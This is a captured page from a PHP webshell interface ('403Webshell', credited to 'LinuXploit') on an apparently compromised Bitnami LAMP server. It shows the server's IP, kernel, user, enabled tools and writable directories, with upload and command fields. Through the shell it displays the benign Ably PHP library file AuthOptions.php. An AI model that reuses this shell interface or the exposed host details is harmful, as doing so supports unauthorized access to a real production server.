403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/vendor/ably/ably-php/src/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/vendor/ably/ably-php/src/Models/AuthOptions.php
<?php
namespace Ably\Models;

use Ably\Log;
use Ably\Models\TokenDetails;

/**
 * Client library options
 */
class AuthOptions extends BaseOptions {

    /**
     * @var string|null A client id, used for identifying this client for presence purposes.
     * The clientId can be any string. This option is primarily intended to be used in situations where the library is instanced with a key;
     * note that a clientId may also be implicit in a token used to instance the library; an error will be raised if a clientId specified here conflicts with the clientId implicit in the token.
     */
    public $clientId;

    /**
     * @var string|null The full key string, as obtained from the application dashboard.
     * Use this option if you wish to use Basic authentication, or wish to be able to issue tokens without needing to defer to a separate entity to sign token requests.
     */
    public $key;

    /**
     * @var string|null Token string that should be used for authentificating all requests
     */
    public $token;
    
    /**
     * @var \Ably\Models\TokenDetails|null Token that should be used for authentificating all requests
     * If $token is provided $tokenDetails get populated automatically
     */
    public $tokenDetails;

    /**
     * @var bool Forces token auth to be used when true
     */
    public $useTokenAuth;

    /**
     * @var function|null A function to call when a new token is required.
     * The role of the callback is to generate a signed token request which may then be submitted by the library to the requestToken API.
     * See authentication for details of the token request format and associated API calls.
     */
    public $authCallback;

    /**
     * @var string|null A URL that the library may use to obtain a signed token request.
     * For example, this can be used by a client to obtain signed token requests from an application server.
     */
    public $authUrl;

    /**
     * @var array|null A set of headers to be added to any request made to the authUrl.
     * Useful when an application requires these to be added to validate the request or implement the response.
     */
    public $authHeaders;

    /**
     * @var array|null A set of parameters to be submitted to any request made to the authUrl.
     */
    public $authParams;

    /**
     * @var array|null HTTP method to use with authUrl, defaults to GET
     */
    public $authMethod = 'GET';

    /**
     * @var boolean This may be set in instances that the library is to sign
     * token requests based on a given key. If true, the library
     * will query the Ably system for the current time instead of
     * relying on a locally-available time of day.
     */
    public $queryTime;

    public function __construct( $options = [] ) {
        parent::__construct( $options );
        
        if ( empty( $this->tokenDetails ) && !empty( $this->token ) ) {
            $this->tokenDetails = new TokenDetails( $this->token );
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit